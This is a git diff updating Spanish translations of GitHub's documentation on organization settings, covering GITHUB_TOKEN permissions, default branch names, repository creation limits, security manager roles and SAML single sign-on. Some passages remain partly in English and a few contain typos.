+Puedes configurar este comportamiento de una organización utilizando los siguientes procedimientos. El modificar este ajuste anula el ajuste de configuraciòn a nivel empresarial.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -75,11 +74,11 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Enabling workflows for private repository forks
+## Habilitar flujos de trabajo para las bifurcaciones de repositorios privados
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
-### Configuring the private fork policy for an organization
+### Configurar la política de bifurcaciones privadas para una organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -88,11 +87,11 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Setting the permissions of the `GITHUB_TOKEN` for your organization
+## Configurar los permisos del `GITHUB_TOKEN` para tu organización
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you choose the restricted option as the default in your organization settings, the same option is auto-selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and the more restricted default has been selected in the enterprise settings, you won't be able to choose the more permissive default in your organization settings.
+Puedes configurar los permisos predeterminados para el `GITHUB_TOKEN` en la configuración de tu organización o tus repositorios. Si eliges la opción restringida como la predeterminada en tu configuración de organización, la misma opción se auto-seleccionará en la configuración de los repositorios dentro de dicha organización y se inhabilitará la opción permisiva. Si tu organización le pertenece a una cuenta {% data variables.product.prodname_enterprise %} y la configuración predeterminada más restringida se seleccionó en la configuración de dicha empresa, no podrás elegir la opción predeterminada permisiva en la configuración de tu organización.
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
@@ -102,7 +101,6 @@ You can set the default permissions for the `GITHUB_TOKEN` in the settings for y
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png)
-1. Click **Save** to apply the settings.
+1. Debajo de **Permisos del flujo de trabajo**, elige si quieres que el `GITHUB_TOKEN` tenga permisos de lectura y escritura para todos los alcances o solo acceso de lectura para el alcance `contents`. ![Configurar los permisos del GITHUB_TOKEN para esta organización](/assets/images/help/settings/actions-workflow-permissions-organization.png)
+1. Da clic en **Guardar** para aplicar la configuración.
 {% endif %}
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
index 67a4c82971..2fafba482b 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the default branch name for repositories in your organization
-intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.product.product_location %}.'
+title: Administrar el nombre de la rama predeterminada para los repositorios en tu organización
+intro: 'Puedes configurar el nombre de la rama predeterminada para los repositorios que los miembros crean en tu organización en {% data variables.product.product_location %}.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization
 permissions: Organization owners can manage the default branch name for new repositories in the organization.
@@ -12,29 +12,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage default branch name
+shortTitle: Administrar el nombre de la rama predeterminada
 ---
 
-## About management of the default branch name
+## Acerca de la administración del nombre de la rama predeterminada
 
-When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+Cuadno un miembro de tu organización crea un repositorio nuevo en la misma, éste contendrá una rama que será la predeterminada. Puedes cambiar el nombre que {% data variables.product.product_name %} utiliza para dicha rama en los repositorios nuevos que creen los miembros de tu organización. Para obtener màs informaciòn sobre la rama predeterminada, consulta la secciòn "[Acerca de las ramas](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)".
 
 {% data reusables.branches.change-default-branch %}
 
-If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+Si un propietario de la empresa requirió una política para el nombre de la rama predeterminada de tu empresa, no puedes configurar dicho nombre en tu organización. En su lugar, puedes cambiar la rama predeterminada para los repositorios individuales. Para obtener más información, consulta las secciones {% ifversion fpt %}"[Requerir políticas de administración de repositorios en tu empresa](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Requerir políticas de administración de repositorios en tu empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} y "[Cambiar la rama predeterminada](/github/administering-a-repository/changing-the-default-branch)".
 
-## Setting the default branch name
+## Configurar el nombre de la rama predeterminada
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.repository-defaults %}
-3. Under "Repository default branch", click **Change default branch name now**.
-    ![Override button](/assets/images/help/organizations/repo-default-name-button.png)
-4. Type the default name that you would like to use for new branches.
-    ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png)
-5. Click **Update**.
-    ![Update button](/assets/images/help/organizations/repo-default-name-update.png)
+3. Debajo de "Rama predeterminada del repositorio", da clic en **Cambiar el nombre de la rama predeterminada ahora**. ![Botón de ignorar](/assets/images/help/organizations/repo-default-name-button.png)
+4. Teclea el nombre predeterminado que quisieras utilizar para las ramas nuevas. ![Caja de texto para ingresar el nombre predeterminado](/assets/images/help/organizations/repo-default-name-text.png)
+5. Da clic en **Actualizar**. ![Botón de actualizar](/assets/images/help/organizations/repo-default-name-update.png)
 
-## Further reading
+## Leer más
 
-- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)"
+- "[Administrar el nombre de la rama predeterminada para tus repositorios](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)"
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md
index 9fd78a8735..30bd57d2b3 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/renaming-an-organization.md
@@ -2,7 +2,7 @@
 title: Renaming an organization
 intro: 'If your project or company has changed names, you can update the name of your organization to match.'
 redirect_from:
-  - /articles/what-happens-when-i-change-my-organization-s-name/
+  - /articles/what-happens-when-i-change-my-organization-s-name
   - /articles/renaming-an-organization
   - /github/setting-up-and-managing-organizations-and-teams/renaming-an-organization
 versions:
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
index 7f1c181bd9..a6fab36ae1 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting repository creation in your organization
-intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.'
+title: Restringir la creación de repositorios en tu organización
+intro: 'Para proteger los datos de tu organización, puedes configurar permisos para crear repositorios en tu organización.'
 redirect_from:
   - /articles/restricting-repository-creation-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization
@@ -12,29 +12,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Restrict repository creation
+shortTitle: Restringir la creación de repositorios
 ---
 
-You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}.
+Puedes elegir si los miembros pueden crear repositorios en tu organización o no. Si permites que los miembros creen repositorios, puedes elegir qué tipos de repositorios pueden crear.{% ifversion fpt or ghec %} Para permitir que los miembros creen solo repositorios privados, tu organización debe utilizar {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} Para obtener más información, consulta la sección "[Acerca de los repositorios](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" en la documentación de {% data variables.product.prodname_ghe_cloud %}{% endif %}.
 
-Organization owners can always create any type of repository.
+Los propietarios de la organización siempre pueden crear cualquier tipo de repositorio.
 {% ifversion ghec or ghae or ghes %}
-{% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %}
+{% ifversion ghec or ghae %}Los propietarios de empresas{% elsif ghes %}Los administradores de sitio{% endif %} pueden restringir las opciones que tienes disponibles para la política de creación de repositorios de tu organización. {% ifversion ghec or ghes or ghae %} Para obtener más información, consulta la sección "[Restringir la creación de repositorios en tu empresa.](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)".{% endif %}{% endif %}
 
 {% warning %}
 
-**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+**Advertencia**: Este ajuste solo restringe las opciones de visibilidad disponibles cuando los repositorios se crean y no restringe la capacidad de cambiar la visibilidad del repositorio posteriormente. Para obtener más información acerca de cómo restringir los cambios a las visibilidades existentes de los repositorios, consulta la sección "[Restringir la visibilidad de los repositorios en tu organización](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)".
 
 {% endwarning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository creation", select one or more options.
+5. Debajo de "Creación de repositorios", selecciona una o más opciones.
 
    {%- ifversion ghes or ghec or ghae %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
+   ![Opciones de creación de repositorio](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
    {%- elsif fpt %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
+   ![Opciones de creación de repositorio](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
    {%- endif %}
-6. Click **Save**.
+6. Haz clic en **Save ** (guardar).
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md b/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
index 47ece27016..a88c81a6e5 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
@@ -3,7 +3,7 @@ title: Configurar permisos para agregar colaboradores externos
 intro: 'Para proteger los datos de tu organización y la cantidad de licencias pagadas que se utilizan en ella, puedes permitir que únicamente los propietarios inviten colaboradores externos a los repositorios que le pertenezcan.'
 product: '{% data reusables.gated-features.restrict-add-collaborator %}'
 redirect_from:
-  - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories/
+  - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories
   - /articles/setting-permissions-for-adding-outside-collaborators
   - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-adding-outside-collaborators
 versions:
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md b/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
index a50cc96b72..9b6ef0165d 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
@@ -2,7 +2,7 @@
 title: Configurar permisos para eliminar o transferir repositorios en tu organización
 intro: 'Puedes permitir que los miembros de una organización con permisos de administrador accedan a un repositorio para eliminar o transferir el repositorio, o limitar la capacidad para borrar o transferir repositorios únicamente a los propietarios de la organización.'
 redirect_from:
-  - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization/
+  - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization
   - /articles/setting-permissions-for-deleting-or-transferring-repositories
   - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-deleting-or-transferring-repositories
 versions:
diff --git a/translations/es-ES/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/translations/es-ES/content/organizations/managing-organization-settings/transferring-organization-ownership.md
index 6bf986400f..c1fe25dc8f 100644
--- a/translations/es-ES/content/organizations/managing-organization-settings/transferring-organization-ownership.md
+++ b/translations/es-ES/content/organizations/managing-organization-settings/transferring-organization-ownership.md
@@ -2,7 +2,7 @@
 title: Transferir la propiedad de la organización
 intro: 'Para hacer que alguna otra persona sea propietaria de una cuenta de organización, puedes agregar un propietario nuevo{% ifversion fpt or ghec %}, asegurar que la información de facturación esté actualizada{% endif %} y luego eliminarte de la cuenta.'
 redirect_from:
-  - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else/
+  - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else
   - /articles/transferring-organization-ownership
   - /github/setting-up-and-managing-organizations-and-teams/transferring-organization-ownership
 versions:
@@ -16,7 +16,7 @@ topics:
 shortTitle: Transferir la propiedad
 ---
 
-{% ifversion fpt or ghec %}
+{% ifversion ghec %}
 {% note %}
 
 **Nota:**{% data reusables.enterprise-accounts.invite-organization %}
diff --git a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
index 1b625b1b97..b0ed11a3db 100644
--- a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
@@ -53,7 +53,7 @@ Los gerentes de facturación**no** pueden:
 {% ifversion ghec %}
 {% note %}
 
-**Nota:** Si tu organización se administra utilizando [Cuentas empresariales](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts) no podrás invitar a los gerentes de facturación a nivel organizacional.
+**Nota:** Si tu organización le pertenece a una cuenta empresarial, no podrás invitar a los gerentes de facturación a nivel de esta. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)".
 
 {% endnote %}
 {% endif %}
diff --git a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
index ff7165d325..79b623d79a 100644
--- a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
+++ b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing people's access to your organization with roles
-intro: 'You can control access to your organizations''s settings and repositories by giving people organization, repository, and team roles.'
+title: Administrar el acceso de las personas a tu organización con roles
+intro: 'Puedes controlar el acceso a la configuración y a los repositorios de tu organización si otorgas roles de organización, repositorio y equipo a las personas.'
 redirect_from:
   - /articles/managing-people-s-access-to-your-organization-with-roles
   - /articles/managing-peoples-access-to-your-organization-with-roles
@@ -20,6 +20,6 @@ children:
   - /adding-a-billing-manager-to-your-organization
   - /removing-a-billing-manager-from-your-organization
   - /managing-security-managers-in-your-organization
-shortTitle: Manage access with roles
+shortTitle: Administrar el acceso con los roles
 ---
 
diff --git a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
index ad751c6219..8c3015996a 100644
--- a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
@@ -21,12 +21,16 @@ permissions: Organization owners can assign the security manager role.
 Members of a team with the security manager role have only the permissions required to effectively manage security for the organization.
 
 - Read access on all repositories in the organization, in addition to any existing repository access
-- Write access on all security alerts in the organization
-- Access to the organization's security overview
-- The ability to configure security settings at the organization level, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}
-- The ability to configure security settings at the repository level, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}
+- Write access on all security alerts in the organization {% ifversion not fpt %}
+- Access to the organization's security overview {% endif %}
+- The ability to configure security settings at the organization level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
+- The ability to configure security settings at the repository level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
 
-If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion ghes %}."{% else %} and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."{% endif %}
+{% ifversion fpt %}
+Additional functionality, including a security overview for the organization, is available in organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %}. Para obtener más información, consulta la [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).
+{% endif %}
+
+If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. Para obtener más información, consulta las secciones "[Administrar el acceso de los equipos aun repositorio organizacional](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion ghes %}".{% else %} y "[Administrar a los equipos y personas con acceso a tu repositorio](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)".{% endif %}
 
   ![Manage repository access UI with security managers](/assets/images/help/organizations/repo-access-security-managers.png)
 
diff --git a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
index 58b849aac4..a62d2b892d 100644
--- a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
+++ b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
@@ -2,7 +2,7 @@
 title: Roles in an organization
 intro: Organization owners can assign roles to individuals and teams giving them different sets of permissions in the organization.
 redirect_from:
-  - /articles/permission-levels-for-an-organization-early-access-program/
+  - /articles/permission-levels-for-an-organization-early-access-program
   - /articles/permission-levels-for-an-organization
   - /github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization
   - /organizations/managing-peoples-access-to-your-organization-with-roles/permission-levels-for-an-organization
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
index 5839c6e333..2d75f41703 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About identity and access management with SAML single sign-on
-intro: 'If you centrally manage your users'' identities and applications with an identity provider (IdP), you can configure Security Assertion Markup Language (SAML) single sign-on (SSO) to protect your organization''s resources on {% data variables.product.prodname_dotcom %}.'
+title: Acerca de la administración de acceso e identidad con el inicio de sesión único de SAML
+intro: 'Si administras centralmente las identidades y aplicaciones de tus usuarios con un provedor de identidad (IdP), puedes configurar el inicio de sesión único (SSO) del Lenguaje de Marcado para Confirmaciones de Seguridad (SAML) para proteger los recursos de tu organización en {% data variables.product.prodname_dotcom %}.'
 redirect_from:
   - /articles/about-identity-and-access-management-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-identity-and-access-management-with-saml-single-sign-on
@@ -9,56 +9,56 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: IAM with SAML SSO
+shortTitle: IAM con el SSO de SAML
 ---
 
 {% data reusables.enterprise-accounts.emu-saml-note %}
 
-## About SAML SSO
+## Acerca de SAML SSO
 
 {% data reusables.saml.dotcom-saml-explanation %}
 
 {% data reusables.saml.saml-accounts %}
 
-Organization owners can enforce SAML SSO for an individual organization, or enterprise owners can enforce SAML SSO for all organizations in an enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+Los propietarios de las organizaciones pueden requerir el SSO de SAML para una organización individual o para todas las organizaciones en una cuenta empresarial. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-Before enabling SAML SSO for your organization, you'll need to connect your IdP to your organization. For more information, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+Antes de habilitar el SSO de SAML para tu organización, necesitarás conectar tu IdP a la misma. Para obtener más información, consulta "[Conectar tu proveedor de identidad a tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
 
-For an organization, SAML SSO can be disabled, enabled but not enforced, or enabled and enforced. After you enable SAML SSO for your organization and your organization's members successfully authenticate with your IdP, you can enforce the SAML SSO configuration. For more information about enforcing SAML SSO for your {% data variables.product.prodname_dotcom %} organization, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+En una organización, el SSO de SAML puede inhabilitarse, habilitarse pero no requerirse, o habilitarse y requerirse. Después de habilitar exitosamente el SSO de SAML para tu organización y que sus miembros se autentiquen exitosamente con tu IdP, puedes requerir la configuración del SSO de SAML. Para obtener más información acerca de requerir el SSO de SAML para tu organización en {% data variables.product.prodname_dotcom %}, consulta la sección "[Requerir el inicio de sesión único de SAML para tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)".
 
-Members must periodically authenticate with your IdP to authenticate and gain access to your organization's resources. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires users to re-identify themselves to continue.
+Los miembros deben autenticarse regularmente con tu IdP y obtener acceso a los recursos de tu organización. Tu IdP especifica la duración de este período de inicio de sesión y, generalmente, es de 24 horas. Este requisito de inicio de sesión periódico limita la duración del acceso y requiere que los usuarios se vuelvan a identificar para continuar.
 
-To access the organization's protected resources using the API and Git on the command line, members must authorize and authenticate with a personal access token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
+Para acceder a los recursos protegidos de tu organización tulizando la API y Git en la línea de comando, los miembros deberán autorizar y autentificarse con un token de acceso personal o llave SSH. Para obtener más información, consulta las secciones "[Autorizar que un token de acceso personal se utilice con el inicio de sesión único de SAML](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" y "[Autorizar a una llave SSH para que se utilice con el inicio de sesión único de SAML](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)".
 
-The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.product_location %}, and the member's account on your IdP. You can view and revoke the linked SAML identity, active sessions, and authorized credentials for members of your organization or enterprise account. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise account](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+La primera vez que un miembro utiliza el SSO de SAML para acceder a tu organización, {% data variables.product.prodname_dotcom %} crea un registro automáticamente, el cual vincula tu organización, la cuenta del miembro en {% data variables.product.product_location %} y la cuenta del miembro en tu IdP. Puedes ver y retirar la identidad de SAML que se ha vinculado, activar sesiones, y autorizar las credenciales para los miembros de tu organización o cuenta empresarial. Para obtener más información, consulta la sección "[Visualizar y administrar un acceso de SAML de un miembro a tu organización](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" y [Visualizar y administrar un acceso de SAML de un usuario a tu cuenta empresarial](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)".
 
-If members are signed in with a SAML SSO session when they create a new repository, the default visibility of that repository is private. Otherwise, the default visibility is public. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Si los miembros ingresan con una sesión de SSO de SAML cuando crean un nuevo repositorio, la visibilidad predeterminada de dicho repositorio será privada. De lo contrario, la visibilidad predeterminada es pública. Para obtener más información sobre la visibilidad de los repositorios, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-Organization members must also have an active SAML session to authorize an {% data variables.product.prodname_oauth_app %}. You can opt out of this requirement by contacting {% data variables.contact.contact_support %}. {% data variables.product.product_name %} does not recommend opting out of this requirement, which will expose your organization to a higher risk of account takeovers and potential data loss.
+Los miembros de una organización también deben contar con una sesión activa de SAML para autorizar un {% data variables.product.prodname_oauth_app %}. Puedes decidir no llevar este requisito si contactas a {% data variables.contact.contact_support %}. {% data variables.product.product_name %} no recomienda que renuncies a este requisito, ya que expondrá a tu organización a un riesgo mayor de que se roben las cuentas y de que exista pérdida de datos.
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Supported SAML services
+## Servicios SAML admitidos
 
 {% data reusables.saml.saml-supported-idps %}
 
-Some IdPs support provisioning access to a {% data variables.product.prodname_dotcom %} organization via SCIM. {% data reusables.scim.enterprise-account-scim %} For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+Algunos IdP admiten acceso de suministro a una organización de {% data variables.product.prodname_dotcom %} a través de SCIM. {% data reusables.scim.enterprise-account-scim %} Para obtener más información, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
-## Adding members to an organization using SAML SSO
+## Agregar miembros a una organización usando SAML SSO
 
-After you enable SAML SSO, there are multiple ways you can add new members to your organization. Organization owners can invite new members manually on {% data variables.product.product_name %} or using the API. For more information, see "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)" and "[Members](/rest/reference/orgs#add-or-update-organization-membership)."
+Una vez que activas SAML SSO, hay varias maneras de poder agregar nuevos miembros a tu organización. Los propietarios de la organización pueden invitar a los miembros de forma manual en {% data variables.product.product_name %} o usando la API. Para obtener más información, consulta las secciones "[Invitar usuarios a unirse a tu organización](/articles/inviting-users-to-join-your-organization)" y "[Miembros](/rest/reference/orgs#add-or-update-organization-membership)".
 
-To provision new users without an invitation from an organization owner, you can use the URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, replacing _ORGANIZATION_ with the name of your organization. For example, you can configure your IdP so that anyone with access to the IdP can click a link on the IdP's dashboard to join your {% data variables.product.prodname_dotcom %} organization.
